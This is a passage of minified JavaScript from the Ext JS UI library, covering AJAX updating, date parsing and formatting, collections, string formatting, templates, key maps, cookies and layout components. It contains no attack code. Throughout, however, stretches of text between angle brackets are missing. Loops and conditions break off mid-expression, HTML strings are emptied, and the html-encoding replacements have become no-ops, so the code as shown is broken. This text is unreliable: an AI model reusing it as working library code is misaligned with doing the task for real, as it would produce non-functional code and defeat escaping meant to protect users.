b=this.elements;Ext.each(c,function(d){b.push(Ext.get(d))});return this},first:function(){return this.item(0)},last:function(){return this.item(this.getCount()-1)},contains:function(a){return this.indexOf(a)!=-1},removeElement:function(d,e){var c=this,a=this.elements,b;Ext.each(d,function(g){if((b=(a[g]||a[g=c.indexOf(g)]))){if(e){if(b.dom){b.remove()}else{Ext.removeNode(b)}}a.splice(g,1)}});return this}});Ext.CompositeElement=Ext.extend(Ext.CompositeElementLite,{constructor:function(b,a){this.elements=[];this.add(b,a)},getElement:function(a){return a},transformElement:function(a){return Ext.get(a)}});Ext.Element.select=function(a,d,b){var c;if(typeof a=="string"){c=Ext.Element.selectorFunction(a,b)}else{if(a.length!==undefined){c=a}else{throw"Invalid selector"}}return(d===true)?new Ext.CompositeElement(c):new Ext.CompositeElementLite(c)};Ext.select=Ext.Element.select;Ext.UpdateManager=Ext.Updater=Ext.extend(Ext.util.Observable,function(){var b="beforeupdate",d="update",c="failure";function a(h){var i=this;i.transaction=null;if(h.argument.form&&h.argument.reset){try{h.argument.form.reset()}catch(k){}}if(i.loadScripts){i.renderer.render(i.el,h,i,g.createDelegate(i,[h]))}else{i.renderer.render(i.el,h,i);g.call(i,h)}}function g(h,i,k){this.fireEvent(i||d,this.el,h);if(Ext.isFunction(h.argument.callback)){h.argument.callback.call(h.argument.scope,this.el,Ext.isEmpty(k)?true:false,h,h.argument.options)}}function e(h){g.call(this,h,c,!!(this.transaction=null))}return{constructor:function(i,h){var k=this;i=Ext.get(i);if(!h&&i.updateManager){return i.updateManager}k.el=i;k.defaultUrl=null;k.addEvents(b,d,c);Ext.apply(k,Ext.Updater.defaults);k.transaction=null;k.refreshDelegate=k.refresh.createDelegate(k);k.updateDelegate=k.update.createDelegate(k);k.formUpdateDelegate=(k.formUpdate||function(){}).createDelegate(k);k.renderer=k.renderer||k.getDefaultRenderer();Ext.Updater.superclass.constructor.call(k)},setRenderer:function(h){this.renderer=h},getRenderer:function(){return this.renderer},getDefaultRenderer:function(){return new Ext.Updater.BasicRenderer()},setDefaultUrl:function(h){this.defaultUrl=h},getEl:function(){return this.el},update:function(i,p,q,m){var l=this,h,k;if(l.fireEvent(b,l.el,i,p)!==false){if(Ext.isObject(i)){h=i;i=h.url;p=p||h.params;q=q||h.callback;m=m||h.discardUrl;k=h.scope;if(!Ext.isEmpty(h.nocache)){l.disableCaching=h.nocache}if(!Ext.isEmpty(h.text)){l.indicatorText='
    '+h.text+"
    "}if(!Ext.isEmpty(h.scripts)){l.loadScripts=h.scripts}if(!Ext.isEmpty(h.timeout)){l.timeout=h.timeout}}l.showLoading();if(!m){l.defaultUrl=i}if(Ext.isFunction(i)){i=i.call(l)}var n=Ext.apply({},{url:i,params:(Ext.isFunction(p)&&k)?p.createDelegate(k):p,success:a,failure:e,scope:l,callback:undefined,timeout:(l.timeout*1000),disableCaching:l.disableCaching,argument:{options:h,url:i,form:null,callback:q,scope:k||window,params:p}},h);l.transaction=Ext.Ajax.request(n)}},formUpdate:function(l,h,k,m){var i=this;if(i.fireEvent(b,i.el,l,h)!==false){if(Ext.isFunction(h)){h=h.call(i)}l=Ext.getDom(l);i.transaction=Ext.Ajax.request({form:l,url:h,success:a,failure:e,scope:i,timeout:(i.timeout*1000),argument:{url:h,form:l,callback:m,reset:k}});i.showLoading.defer(1,i)}},startAutoRefresh:function(i,k,m,n,h){var l=this;if(h){l.update(k||l.defaultUrl,m,n,true)}if(l.autoRefreshProcId){clearInterval(l.autoRefreshProcId)}l.autoRefreshProcId=setInterval(l.update.createDelegate(l,[k||l.defaultUrl,m,n,true]),i*1000)},stopAutoRefresh:function(){if(this.autoRefreshProcId){clearInterval(this.autoRefreshProcId);delete this.autoRefreshProcId}},isAutoRefreshing:function(){return !!this.autoRefreshProcId},showLoading:function(){if(this.showLoadIndicator){this.el.dom.innerHTML=this.indicatorText}},abort:function(){if(this.transaction){Ext.Ajax.abort(this.transaction)}},isUpdating:function(){return this.transaction?Ext.Ajax.isLoading(this.transaction):false},refresh:function(h){if(this.defaultUrl){this.update(this.defaultUrl,null,h,true)}}}}());Ext.Updater.defaults={timeout:30,disableCaching:false,showLoadIndicator:true,indicatorText:'
    Loading...
    ',loadScripts:false,sslBlankUrl:Ext.SSL_SECURE_URL};Ext.Updater.updateElement=function(d,c,e,b){var a=Ext.get(d).getUpdater();Ext.apply(a,b);a.update(c,e,b?b.callback:null)};Ext.Updater.BasicRenderer=function(){};Ext.Updater.BasicRenderer.prototype={render:function(c,a,b,d){c.update(a.responseText,b.loadScripts,d)}};(function(){Date.useStrict=false;function b(d){var c=Array.prototype.slice.call(arguments,1);return d.replace(/\{(\d+)\}/g,function(e,g){return c[g]})}Date.formatCodeToRegex=function(d,c){var e=Date.parseCodes[d];if(e){e=typeof e=="function"?e():e;Date.parseCodes[d]=e}return e?Ext.applyIf({c:e.c?b(e.c,c||"{0}"):e.c},e):{g:0,c:null,s:Ext.escapeRe(d)}};var a=Date.formatCodeToRegex;Ext.apply(Date,{parseFunctions:{"M$":function(d,c){var e=new RegExp("\\/Date\\(([-+])?(\\d+)(?:[+-]\\d{4})?\\)\\/");var g=(d||"").match(e);return g?new Date(((g[1]||"")+g[2])*1):null}},parseRegexes:[],formatFunctions:{"M$":function(){return"\\/Date("+this.getTime()+")\\/"}},y2kYear:50,MILLI:"ms",SECOND:"s",MINUTE:"mi",HOUR:"h",DAY:"d",MONTH:"mo",YEAR:"y",defaults:{},dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNumbers:{Jan:0,Feb:1,Mar:2,Apr:3,May:4,Jun:5,Jul:6,Aug:7,Sep:8,Oct:9,Nov:10,Dec:11},getShortMonthName:function(c){return Date.monthNames[c].substring(0,3)},getShortDayName:function(c){return Date.dayNames[c].substring(0,3)},getMonthNumber:function(c){return Date.monthNumbers[c.substring(0,1).toUpperCase()+c.substring(1,3).toLowerCase()]},formatCodes:{d:"String.leftPad(this.getDate(), 2, '0')",D:"Date.getShortDayName(this.getDay())",j:"this.getDate()",l:"Date.dayNames[this.getDay()]",N:"(this.getDay() ? this.getDay() : 7)",S:"this.getSuffix()",w:"this.getDay()",z:"this.getDayOfYear()",W:"String.leftPad(this.getWeekOfYear(), 2, '0')",F:"Date.monthNames[this.getMonth()]",m:"String.leftPad(this.getMonth() + 1, 2, '0')",M:"Date.getShortMonthName(this.getMonth())",n:"(this.getMonth() + 1)",t:"this.getDaysInMonth()",L:"(this.isLeapYear() ? 1 : 0)",o:"(this.getFullYear() + (this.getWeekOfYear() == 1 && this.getMonth() > 0 ? +1 : (this.getWeekOfYear() >= 52 && this.getMonth() < 11 ? -1 : 0)))",Y:"String.leftPad(this.getFullYear(), 4, '0')",y:"('' + this.getFullYear()).substring(2, 4)",a:"(this.getHours() < 12 ? 'am' : 'pm')",A:"(this.getHours() < 12 ? 'AM' : 'PM')",g:"((this.getHours() % 12) ? this.getHours() % 12 : 12)",G:"this.getHours()",h:"String.leftPad((this.getHours() % 12) ? this.getHours() % 12 : 12, 2, '0')",H:"String.leftPad(this.getHours(), 2, '0')",i:"String.leftPad(this.getMinutes(), 2, '0')",s:"String.leftPad(this.getSeconds(), 2, '0')",u:"String.leftPad(this.getMilliseconds(), 3, '0')",O:"this.getGMTOffset()",P:"this.getGMTOffset(true)",T:"this.getTimezone()",Z:"(this.getTimezoneOffset() * -60)",c:function(){for(var m="Y-m-dTH:i:sP",h=[],g=0,d=m.length;g= 0 && y >= 0){","v = new Date(y < 100 ? 100 : y, 0, 1, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);","v = !strict? v : (strict === true && (z <= 364 || (v.isLeapYear() && z <= 365))? v.add(Date.DAY, z) : null);","}else if(strict === true && !Date.isValid(y, m + 1, d, h, i, s, ms)){","v = null;","}else{","v = new Date(y < 100 ? 100 : y, m, d, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);","}","}","}","if(v){","if(zz != null){","v = v.add(Date.SECOND, -v.getTimezoneOffset() * 60 - zz);","}else if(o){","v = v.add(Date.MINUTE, -v.getTimezoneOffset() + (sn == '+'? -1 : 1) * (hr * 60 + mn));","}","}","return v;"].join("\n");return function(n){var e=Date.parseRegexes.length,p=1,g=[],m=[],l=false,d="",k=0,h,o;for(;k Date.y2kYear ? 1900 + ty : 2000 + ty;\n",s:"(\\d{1,2})"},a:function(){return a("A")},A:{calcLast:true,g:1,c:"if (/(am)/i.test(results[{0}])) {\nif (!h || h == 12) { h = 0; }\n} else { if (!h || h < 12) { h = (h || 0) + 12; }}",s:"(AM|PM|am|pm)"},g:function(){return a("G")},G:{g:1,c:"h = parseInt(results[{0}], 10);\n",s:"(\\d{1,2})"},h:function(){return a("H")},H:{g:1,c:"h = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},i:{g:1,c:"i = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},s:{g:1,c:"s = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},u:{g:1,c:"ms = results[{0}]; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n",s:"(\\d+)"},O:{g:1,c:["o = results[{0}];","var sn = o.substring(0,1),","hr = o.substring(1,3)*1 + Math.floor(o.substring(3,5) / 60),","mn = o.substring(3,5) % 60;","o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"),s:"([+-]\\d{4})"},P:{g:1,c:["o = results[{0}];","var sn = o.substring(0,1),","hr = o.substring(1,3)*1 + Math.floor(o.substring(4,6) / 60),","mn = o.substring(4,6) % 60;","o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"),s:"([+-]\\d{2}:\\d{2})"},T:{g:0,c:null,s:"[A-Z]{1,4}"},Z:{g:1,c:"zz = results[{0}] * 1;\nzz = (-43200 <= zz && zz <= 50400)? zz : null;\n",s:"([+-]?\\d{1,5})"},c:function(){var e=[],c=[a("Y",1),a("m",2),a("d",3),a("h",4),a("i",5),a("s",6),{c:"ms = results[7] || '0'; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n"},{c:["if(results[8]) {","if(results[8] == 'Z'){","zz = 0;","}else if (results[8].indexOf(':') > -1){",a("P",8).c,"}else{",a("O",8).c,"}","}"].join("\n")}];for(var g=0,d=c.length;g0?"-":"+")+String.leftPad(Math.floor(Math.abs(this.getTimezoneOffset())/60),2,"0")+(a?":":"")+String.leftPad(Math.abs(this.getTimezoneOffset()%60),2,"0")},getDayOfYear:function(){var b=0,e=this.clone(),a=this.getMonth(),c;for(c=0,e.setDate(1),e.setMonth(0);c28){a=Math.min(a,this.getFirstDateOfMonth().add("mo",c).getLastDateOfMonth().getDate())}e.setDate(a);e.setMonth(this.getMonth()+c);break;case Date.YEAR:e.setFullYear(this.getFullYear()+c);break}return e},between:function(c,a){var b=this.getTime();return c.getTime()<=b&&b<=a.getTime()}});Date.prototype.format=Date.prototype.dateFormat;if(Ext.isSafari&&(navigator.userAgent.match(/WebKit\/(\d+)/)[1]||NaN)<420){Ext.apply(Date.prototype,{_xMonth:Date.prototype.setMonth,_xDate:Date.prototype.setDate,setMonth:function(a){if(a<=-1){var d=Math.ceil(-a),c=Math.ceil(d/12),b=(d%12)?12-d%12:0;this.setFullYear(this.getFullYear()-c);return this._xMonth(b)}else{return this._xMonth(a)}},setDate:function(a){return this.setTime(this.getTime()-(this.getDate()-a)*86400000)}})}Ext.util.MixedCollection=function(b,a){this.items=[];this.map={};this.keys=[];this.length=0;this.addEvents("clear","add","replace","remove","sort");this.allowFunctions=b===true;if(a){this.getKey=a}Ext.util.MixedCollection.superclass.constructor.call(this)};Ext.extend(Ext.util.MixedCollection,Ext.util.Observable,{allowFunctions:false,add:function(b,c){if(arguments.length==1){c=arguments[0];b=this.getKey(c)}if(typeof b!="undefined"&&b!==null){var a=this.map[b];if(typeof a!="undefined"){return this.replace(b,c)}this.map[b]=c}this.length++;this.items.push(c);this.keys.push(b);this.fireEvent("add",this.length-1,c,b);return c},getKey:function(a){return a.id},replace:function(c,d){if(arguments.length==1){d=arguments[0];c=this.getKey(d)}var a=this.map[c];if(typeof c=="undefined"||c===null||typeof a=="undefined"){return this.add(c,d)}var b=this.indexOfKey(c);this.items[b]=d;this.map[c]=d;this.fireEvent("replace",c,a,d);return d},addAll:function(e){if(arguments.length>1||Ext.isArray(e)){var b=arguments.length>1?arguments:e;for(var d=0,a=b.length;d=this.length){return this.add(b,c)}this.length++;this.items.splice(a,0,c);if(typeof b!="undefined"&&b!==null){this.map[b]=c}this.keys.splice(a,0,b);this.fireEvent("add",a,c,b);return c},remove:function(a){return this.removeAt(this.indexOf(a))},removeAt:function(a){if(a=0){this.length--;var c=this.items[a];this.items.splice(a,1);var b=this.keys[a];if(typeof b!="undefined"){delete this.map[b]}this.keys.splice(a,1);this.fireEvent("remove",c,b);return c}return false},removeKey:function(a){return this.removeAt(this.indexOfKey(a))},getCount:function(){return this.length},indexOf:function(a){return this.items.indexOf(a)},indexOfKey:function(a){return this.keys.indexOf(a)},item:function(b){var a=this.map[b],c=a!==undefined?a:(typeof b=="number")?this.items[b]:undefined;return typeof c!="function"||this.allowFunctions?c:null},itemAt:function(a){return this.items[a]},key:function(a){return this.map[a]},contains:function(a){return this.indexOf(a)!=-1},containsKey:function(a){return typeof this.map[a]!="undefined"},clear:function(){this.length=0;this.items=[];this.keys=[];this.map={};this.fireEvent("clear")},first:function(){return this.items[0]},last:function(){return this.items[this.length-1]},_sort:function(l,a,k){var d,e,b=String(a).toUpperCase()=="DESC"?-1:1,h=[],m=this.keys,g=this.items;k=k||function(i,c){return i-c};for(d=0,e=g.length;de?1:(g=a;c--){d[d.length]=b[c]}}return d},filter:function(c,b,d,a){if(Ext.isEmpty(b,false)){return this.clone()}b=this.createValueMatcher(b,d,a);return this.filterBy(function(e){return e&&b.test(e[c])})},filterBy:function(g,e){var h=new Ext.util.MixedCollection();h.getKey=this.getKey;var b=this.keys,d=this.items;for(var c=0,a=d.length;c]+>/gi,stripScriptsRe=/(?:)((\n|\r|.)*?)(?:<\/script>)/ig,nl2brRe=/\r?\n/g;return{ellipsis:function(value,len,word){if(value&&value.length>len){if(word){var vs=value.substr(0,len-2),index=Math.max(vs.lastIndexOf(" "),vs.lastIndexOf("."),vs.lastIndexOf("!"),vs.lastIndexOf("?"));if(index==-1||index<(len-15)){return value.substr(0,len-3)+"..."}else{return vs.substr(0,index)+"..."}}else{return value.substr(0,len-3)+"..."}}return value},undef:function(value){return value!==undefined?value:""},defaultValue:function(value,defaultValue){return value!==undefined&&value!==""?value:defaultValue},htmlEncode:function(value){return !value?value:String(value).replace(/&/g,"&").replace(/>/g,">").replace(/").replace(/</g,"<").replace(/"/g,'"').replace(/&/g,"&")},trim:function(value){return String(value).replace(trimRe,"")},substr:function(value,start,length){return String(value).substr(start,length)},lowercase:function(value){return String(value).toLowerCase()},uppercase:function(value){return String(value).toUpperCase()},capitalize:function(value){return !value?value:value.charAt(0).toUpperCase()+value.substr(1).toLowerCase()},call:function(value,fn){if(arguments.length>2){var args=Array.prototype.slice.call(arguments,2);args.unshift(value);return eval(fn).apply(window,args)}else{return eval(fn).call(window,value)}},usMoney:function(v){v=(Math.round((v-0)*100))/100;v=(v==Math.floor(v))?v+".00":((v*10==Math.floor(v*10))?v+"0":v);v=String(v);var ps=v.split("."),whole=ps[0],sub=ps[1]?"."+ps[1]:".00",r=/(\d+)(\d{3})/;while(r.test(whole)){whole=whole.replace(r,"$1,$2")}v=whole+sub;if(v.charAt(0)=="-"){return"-$"+v.substr(1)}return"$"+v},date:function(v,format){if(!v){return""}if(!Ext.isDate(v)){v=new Date(Date.parse(v))}return v.dateFormat(format||"m/d/Y")},dateRenderer:function(format){return function(v){return Ext.util.Format.date(v,format)}},stripTags:function(v){return !v?v:String(v).replace(stripTagsRE,"")},stripScripts:function(v){return !v?v:String(v).replace(stripScriptsRe,"")},fileSize:function(size){if(size<1024){return size+" bytes"}else{if(size<1048576){return(Math.round(((size*10)/1024))/10)+" KB"}else{return(Math.round(((size*10)/1048576))/10)+" MB"}}},math:function(){var fns={};return function(v,a){if(!fns[a]){fns[a]=new Function("v","return v "+a+";")}return fns[a](v)}}(),round:function(value,precision){var result=Number(value);if(typeof precision=="number"){precision=Math.pow(10,precision);result=Math.round(value*precision)/precision}return result},number:function(v,format){if(!format){return v}v=Ext.num(v,NaN);if(isNaN(v)){return""}var comma=",",dec=".",i18n=false,neg=v<0;v=Math.abs(v);if(format.substr(format.length-2)=="/i"){format=format.substr(0,format.length-2);i18n=true;comma=".";dec=","}var hasComma=format.indexOf(comma)!=-1,psplit=(i18n?format.replace(/[^\d\,]/g,""):format.replace(/[^\d\.]/g,"")).split(dec);if(1")}}}();Ext.XTemplate=function(){Ext.XTemplate.superclass.constructor.apply(this,arguments);var z=this,k=z.html,r=/]*>((?:(?=([^<]+))\2|<(?!tpl\b[^>]*>))*?)<\/tpl>/,d=/^]*?for="(.*?)"/,w=/^]*?if="(.*?)"/,y=/^]*?exec="(.*?)"/,t,q=0,l=[],p="values",x="parent",n="xindex",o="xcount",e="return ",c="with(values){ ";k=["",k,""].join("");while((t=k.match(r))){var b=t[0].match(d),a=t[0].match(w),B=t[0].match(y),g=null,h=null,u=null,A=b&&b[1]?b[1]:"";if(a){g=a&&a[1]?a[1]:null;if(g){h=new Function(p,x,n,o,c+e+(Ext.util.Format.htmlDecode(g))+"; }")}}if(B){g=B&&B[1]?B[1]:null;if(g){u=new Function(p,x,n,o,c+(Ext.util.Format.htmlDecode(g))+"; }")}}if(A){switch(A){case".":A=new Function(p,x,c+e+p+"; }");break;case"..":A=new Function(p,x,c+e+x+"; }");break;default:A=new Function(p,x,c+e+A+"; }")}}l.push({id:q,target:A,exec:u,test:h,body:t[1]||""});k=k.replace(t[0],"{xtpl"+q+"}");++q}for(var v=l.length-1;v>=0;--v){z.compileTpl(l[v])}z.master=l[l.length-1];z.tpls=l};Ext.extend(Ext.XTemplate,Ext.Template,{re:/\{([\w-\.\#]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?(\s?[\+\-\*\\]\s?[\d\.\+\-\*\\\(\)]+)?\}/g,codeRe:/\{\[((?:\\\]|.|\n)*?)\]\}/g,applySubTemplate:function(a,l,k,d,c){var h=this,g,n=h.tpls[a],m,b=[];if((n.test&&!n.test.call(h,l,k,d,c))||(n.exec&&n.exec.call(h,l,k,d,c))){return""}m=n.target?n.target.call(h,l,k):l;g=m.length;k=n.target?l:k;if(n.target&&Ext.isArray(m)){for(var e=0,g=m.length;e=0;--g){d[k[g].selectorText.toLowerCase()]=k[g]}}catch(i){}},getRules:function(h){if(d===null||h){d={};var l=c.styleSheets;for(var k=0,g=l.length;k=37&&a<=40){b.stopEvent()}},destroy:function(){this.disable()},enable:function(){if(this.disabled){if(Ext.isSafari2){this.el.on("keyup",this.stopKeyUp,this)}this.el.on(this.isKeydown()?"keydown":"keypress",this.relay,this);this.disabled=false}},disable:function(){if(!this.disabled){if(Ext.isSafari2){this.el.un("keyup",this.stopKeyUp,this)}this.el.un(this.isKeydown()?"keydown":"keypress",this.relay,this);this.disabled=true}},setDisabled:function(a){this[a?"disable":"enable"]()},isKeydown:function(){return this.forceKeyDown||Ext.EventManager.useKeydown}};Ext.KeyMap=function(c,b,a){this.el=Ext.get(c);this.eventName=a||"keydown";this.bindings=[];if(b){this.addBinding(b)}this.enable()};Ext.KeyMap.prototype={stopEvent:false,addBinding:function(b){if(Ext.isArray(b)){Ext.each(b,function(m){this.addBinding(m)},this);return}var k=b.key,g=b.fn||b.handler,l=b.scope;if(b.stopEvent){this.stopEvent=b.stopEvent}if(typeof k=="string"){var h=[];var e=k.toUpperCase();for(var c=0,d=e.length;c2)?a[2]:null;var h=(i>3)?a[3]:"/";var d=(i>4)?a[4]:null;var g=(i>5)?a[5]:false;document.cookie=c+"="+escape(e)+((b===null)?"":("; expires="+b.toGMTString()))+((h===null)?"":("; path="+h))+((d===null)?"":("; domain="+d))+((g===true)?"; secure":"")},get:function(d){var b=d+"=";var g=b.length;var a=document.cookie.length;var e=0;var c=0;while(e0){return this.ownerCt.items.itemAt(a-1)}}return null},getBubbleTarget:function(){return this.ownerCt}});Ext.reg("component",Ext.Component);Ext.Action=Ext.extend(Object,{constructor:function(a){this.initialConfig=a;this.itemId=a.itemId=(a.itemId||a.id||Ext.id());this.items=[]},isAction:true,setText:function(a){this.initialConfig.text=a;this.callEach("setText",[a])},getText:function(){return this.initialConfig.text},setIconClass:function(a){this.initialConfig.iconCls=a;this.callEach("setIconClass",[a])},getIconClass:function(){return this.initialConfig.iconCls},setDisabled:function(a){this.initialConfig.disabled=a;this.callEach("setDisabled",[a])},enable:function(){this.setDisabled(false)},disable:function(){this.setDisabled(true)},isDisabled:function(){return this.initialConfig.disabled},setHidden:function(a){this.initialConfig.hidden=a;this.callEach("setVisible",[!a])},show:function(){this.setHidden(false)},hide:function(){this.setHidden(true)},isHidden:function(){return this.initialConfig.hidden},setHandler:function(b,a){this.initialConfig.handler=b;this.initialConfig.scope=a;this.callEach("setHandler",[b,a])},each:function(b,a){Ext.each(this.items,b,a)},callEach:function(e,b){var d=this.items;for(var c=0,a=d.length;ck+p.left){l=k-m-c;g=true}if((i+e)>d+p.top){i=d-e-c;g=true}if(l=n){i=n-e-5}}o=[l,i];this.storeXY(o);a.setXY.call(this,o);this.sync()}}return this},getConstrainOffset:function(){return this.shadowOffset},isVisible:function(){return this.visible},showAction:function(){this.visible=true;if(this.useDisplay===true){this.setDisplayed("")}else{if(this.lastXY){a.setXY.call(this,this.lastXY)}else{if(this.lastLT){a.setLeftTop.call(this,this.lastLT[0],this.lastLT[1])}}}},hideAction:function(){this.visible=false;if(this.useDisplay===true){this.setDisplayed(false)}else{this.setLeftTop(-10000,-10000)}},setVisible:function(i,h,l,m,k){if(i){this.showAction()}if(h&&i){var g=function(){this.sync(true);if(m){m()}}.createDelegate(this);a.setVisible.call(this,true,true,l,g,k)}else{if(!i){this.hideUnders(true)}var g=m;if(h){g=function(){this.hideAction();if(m){m()}}.createDelegate(this)}a.setVisible.call(this,i,h,l,g,k);if(i){this.sync(true)}else{if(!h){this.hideAction()}}}return this},storeXY:function(c){delete this.lastLT;this.lastXY=c},storeLeftTop:function(d,c){delete this.lastXY;this.lastLT=[d,c]},beforeFx:function(){this.beforeAction();return Ext.Layer.superclass.beforeFx.apply(this,arguments)},afterFx:function(){Ext.Layer.superclass.afterFx.apply(this,arguments);this.sync(this.isVisible())},beforeAction:function(){if(!this.updating&&this.shadow){this.shadow.hide()}},setLeft:function(c){this.storeLeftTop(c,this.getTop(true));a.setLeft.apply(this,arguments);this.sync();return this},setTop:function(c){this.storeLeftTop(this.getLeft(true),c);a.setTop.apply(this,arguments);this.sync();return this},setLeftTop:function(d,c){this.storeLeftTop(d,c);a.setLeftTop.apply(this,arguments);this.sync();return this},setXY:function(k,h,l,m,i){this.fixDisplay();this.beforeAction();this.storeXY(k);var g=this.createCB(m);a.setXY.call(this,k,h,l,g,i);if(!h){g()}return this},createCB:function(e){var d=this;return function(){d.constrainXY();d.sync(true);if(e){e()}}},setX:function(g,h,k,l,i){this.setXY([g,this.getY()],h,k,l,i);return this},setY:function(l,g,i,k,h){this.setXY([this.getX(),l],g,i,k,h);return this},setSize:function(k,l,i,n,o,m){this.beforeAction();var g=this.createCB(o);a.setSize.call(this,k,l,i,n,g,m);if(!i){g()}return this},setWidth:function(i,h,l,m,k){this.beforeAction();var g=this.createCB(m);a.setWidth.call(this,i,h,l,g,k);if(!h){g()}return this},setHeight:function(k,i,m,n,l){this.beforeAction();var g=this.createCB(n);a.setHeight.call(this,k,i,m,g,l);if(!i){g()}return this},setBounds:function(p,n,q,i,o,l,m,k){this.beforeAction();var g=this.createCB(m);if(!o){this.storeXY([p,n]);a.setXY.call(this,[p,n]);a.setSize.call(this,q,i,o,l,g,k);g()}else{a.setBounds.call(this,p,n,q,i,o,l,g,k)}return this},setZIndex:function(c){this.zindex=c;this.setStyle("z-index",c+2);if(this.shadow){this.shadow.setZIndex(c+1)}if(this.shim){this.shim.setStyle("z-index",c)}return this}})})();Ext.Shadow=function(d){Ext.apply(this,d);if(typeof this.mode!="string"){this.mode=this.defaultMode}var e=this.offset,c={h:0},b=Math.floor(this.offset/2);switch(this.mode.toLowerCase()){case"drop":c.w=0;c.l=c.t=e;c.t-=1;if(Ext.isIE){c.l-=this.offset+b;c.t-=this.offset+b;c.w-=b;c.h-=b;c.t+=1}break;case"sides":c.w=(e*2);c.l=-e;c.t=e-1;if(Ext.isIE){c.l-=(this.offset-b);c.t-=this.offset+b;c.l+=1;c.w-=(this.offset-b)*2;c.w-=b+1;c.h-=1}break;case"frame":c.w=c.h=(e*2);c.l=c.t=-e;c.t+=1;c.h-=2;if(Ext.isIE){c.l-=(this.offset-b);c.t-=(this.offset-b);c.l+=1;c.w-=(this.offset+b+1);c.h-=(this.offset+b);c.h+=1}break}this.adjusts=c};Ext.Shadow.prototype={offset:4,defaultMode:"drop",show:function(a){a=Ext.get(a);if(!this.el){this.el=Ext.Shadow.Pool.pull();if(this.el.dom.nextSibling!=a.dom){this.el.insertBefore(a)}}this.el.setStyle("z-index",this.zIndex||parseInt(a.getStyle("z-index"),10)-1);if(Ext.isIE){this.el.dom.style.filter="progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius="+(this.offset)+")"}this.realign(a.getLeft(true),a.getTop(true),a.getWidth(),a.getHeight());this.el.dom.style.display="block"},isVisible:function(){return this.el?true:false},realign:function(b,u,r,g){if(!this.el){return}var o=this.adjusts,m=this.el.dom,v=m.style,i=0,q=(r+o.w),e=(g+o.h),k=q+"px",p=e+"px",n,c;v.left=(b+o.l)+"px";v.top=(u+o.t)+"px";if(v.width!=k||v.height!=p){v.width=k;v.height=p;if(!Ext.isIE){n=m.childNodes;c=Math.max(0,(q-12))+"px";n[0].childNodes[1].style.width=c;n[1].childNodes[1].style.width=c;n[2].childNodes[1].style.width=c;n[1].style.height=Math.max(0,(e-12))+"px"}}},hide:function(){if(this.el){this.el.dom.style.display="none";Ext.Shadow.Pool.push(this.el);delete this.el}},setZIndex:function(a){this.zIndex=a;if(this.el){this.el.setStyle("z-index",a)}}};Ext.Shadow.Pool=function(){var b=[],a=Ext.isIE?'
    ':'
    ';return{pull:function(){var c=b.shift();if(!c){c=Ext.get(Ext.DomHelper.insertHtml("beforeBegin",document.body.firstChild,a));c.autoBoxAdjust=false}return c},push:function(c){b.push(c)}}}();Ext.BoxComponent=Ext.extend(Ext.Component,{initComponent:function(){Ext.BoxComponent.superclass.initComponent.call(this);this.addEvents("resize","move")},boxReady:false,deferHeight:false,setSize:function(b,d){if(typeof b=="object"){d=b.height;b=b.width}if(Ext.isDefined(b)&&Ext.isDefined(this.boxMinWidth)&&(bthis.boxMaxWidth)){b=this.boxMaxWidth}if(Ext.isDefined(d)&&Ext.isDefined(this.boxMaxHeight)&&(d>this.boxMaxHeight)){d=this.boxMaxHeight}if(!this.boxReady){this.width=b;this.height=d;return this}if(this.cacheSizes!==false&&this.lastSize&&this.lastSize.width==b&&this.lastSize.height==d){return this}this.lastSize={width:b,height:d};var c=this.adjustSize(b,d),g=c.width,a=c.height,e;if(g!==undefined||a!==undefined){e=this.getResizeEl();if(!this.deferHeight&&g!==undefined&&a!==undefined){e.setSize(g,a)}else{if(!this.deferHeight&&a!==undefined){e.setHeight(a)}else{if(g!==undefined){e.setWidth(g)}}}this.onResize(g,a,b,d);this.fireEvent("resize",this,g,a,b,d)}return this},setWidth:function(a){return this.setSize(a)},setHeight:function(a){return this.setSize(undefined,a)},getSize:function(){return this.getResizeEl().getSize()},getWidth:function(){return this.getResizeEl().getWidth()},getHeight:function(){return this.getResizeEl().getHeight()},getOuterSize:function(){var a=this.getResizeEl();return{width:a.getWidth()+a.getMargins("lr"),height:a.getHeight()+a.getMargins("tb")}},getPosition:function(a){var b=this.getPositionEl();if(a===true){return[b.getLeft(true),b.getTop(true)]}return this.xy||b.getXY()},getBox:function(a){var c=this.getPosition(a);var b=this.getSize();b.x=c[0];b.y=c[1];return b},updateBox:function(a){this.setSize(a.width,a.height);this.setPagePosition(a.x,a.y);return this},getResizeEl:function(){return this.resizeEl||this.el},setAutoScroll:function(a){if(this.rendered){this.getContentTarget().setOverflow(a?"auto":"")}this.autoScroll=a;return this},setPosition:function(a,g){if(a&&typeof a[1]=="number"){g=a[1];a=a[0]}this.x=a;this.y=g;if(!this.boxReady){return this}var b=this.adjustPosition(a,g);var e=b.x,d=b.y;var c=this.getPositionEl();if(e!==undefined||d!==undefined){if(e!==undefined&&d!==undefined){c.setLeftTop(e,d)}else{if(e!==undefined){c.setLeft(e)}else{if(d!==undefined){c.setTop(d)}}}this.onPosition(e,d);this.fireEvent("move",this,e,d)}return this},setPagePosition:function(a,c){if(a&&typeof a[1]=="number"){c=a[1];a=a[0]}this.pageX=a;this.pageY=c;if(!this.boxReady){return}if(a===undefined||c===undefined){return}var b=this.getPositionEl().translatePoints(a,c);this.setPosition(b.left,b.top);return 